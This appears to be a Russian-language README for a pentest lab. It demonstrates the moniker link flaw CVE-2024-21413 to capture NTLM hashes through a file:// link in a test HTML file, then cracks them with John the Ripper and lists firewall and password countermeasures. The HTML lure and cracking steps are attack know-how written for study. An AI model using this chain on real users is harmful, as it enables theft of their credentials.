e-m-e-k-a/moniker-link-lab-setupЛаборатория для тестирования на проникновение, демонстрирующая эксплуатацию moniker link CVE-2024-21413 для кражи учетных данных NTLM, включая выполнение атаки, взлом хэшей и защитные контрмеры.
Практический лабораторный стенд для пентеста, демонстрирующий эксплуатацию moniker link (CVE-2024-21413) для кражи NTLM-учётных данных. В этом проекте документируется полная цепочка атаки: от настройки до компрометации учётных данных, включая реальные проблемы и их решения.
Ключевое достижение: Успешное выполнение атаки moniker link как в изолированной лабораторной среде (ВМ Windows 10), так и на реальной системе (ПК с Windows 11), что демонстрирует практические уязвимости безопасности и контрмеры.
Атакующая машина:
Целевые системы:
Сетевая конфигурация:
HTML-файл (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">нажми меня</a></p>
</body>
</html>
Метод через Проводник:
\\192.168.56.101\test в адресной строкеПроблема:
Основная причина:
Решение:
Вывод: Брандмауэр Windows по умолчанию обеспечивает эффективную защиту от этой атаки. Пользователи должны держать его включённым.
Проблема:
nwigwecj112Honey (неверный пароль!)12Honey был из предыдущего тестаОсновная причина:
~/.john/john.potРешение:
1414Вывод: Всегда проверяйте, что взламываете правильный хэш. Очищайте pot-файл или используйте уникальные пароли для тестирования.
Проблема:
1414 не найден в rockyou.txt (14 миллионов паролей)Основная причина:
Решение:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
Вывод: "Отсутствует в rockyou.txt" ≠ надёжно. Короткие пароли уязвимы для целевых атак и полного перебора независимо от наличия в списке.
✅ Брандмауэр Windows — полностью блокирует атаку, когда включён ✅ Современные браузеры — Chrome/Edge блокируют удалённые ссылки file:// ✅ Осведомлённость пользователя — ручной запрос требует действия пользователя
❌ Слабые пароли — 4-значный числовой пароль легко взламывается ❌ Отключённый брандмауэр — распространённая ошибка пользователей ❌ Проводник — нет предупреждения для UNC-путей ❌ Протокол NTLM — автоматическая аутентификация для SMB-ресурсов
1. Брандмауэр критически важен
2. Иллюзия надёжности пароля
1414 нет в rockyou.txt (кажется «надёжным»)3. Требуется взаимодействие с пользователем
Атакующие:
Инфраструктура:
Moniker-Link-Lab-Setup/
├── README.md (этот файл)
├── Documentation/
│ ├── attack-execution.md (пошаговое руководство по атаке)
│ └── README.md (обзор документации)
├── Screenshots/ (скриншоты атаки — будут добавлены)
└── Scripts/ (тестовый HTML-файл — будет добавлен)
Технические:
Профессиональные:
Всё тестирование проводилось на авторизованных системах:
Юридическое уведомление: Несанкционированный доступ к компьютерам незаконен. Этот проект предназначен только для образовательных целей и авторизованных тестовых сред.
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a
Дата: Март 2026
Только для образовательного использования. Не для несанкционированного тестирования.
⭐ Если этот проект оказался для вас полезным, пожалуйста, поставьте звёздочку репозиторию!
| Показатель | Результат |
|---|
| Исходный пароль | nwigwecj1 |
| Изменён на | 1414 |
| Список слов | Пользовательский (2 записи) |
| Время взлома | <1 секунды |
| Брандмауэр | Отключён для тестирования |
| Статус | ✅ Успешно скомпрометирована |
| Показатель | Результат |
|---|
| Пароль | 1414 |
| Брандмауэр | Сначала блокировал, затем отключён |
| Аутентификация | Ручной запрос (введены учётные данные) |
| Время взлома | Мгновенно |
| Статус | ✅ Успешно скомпрометирована |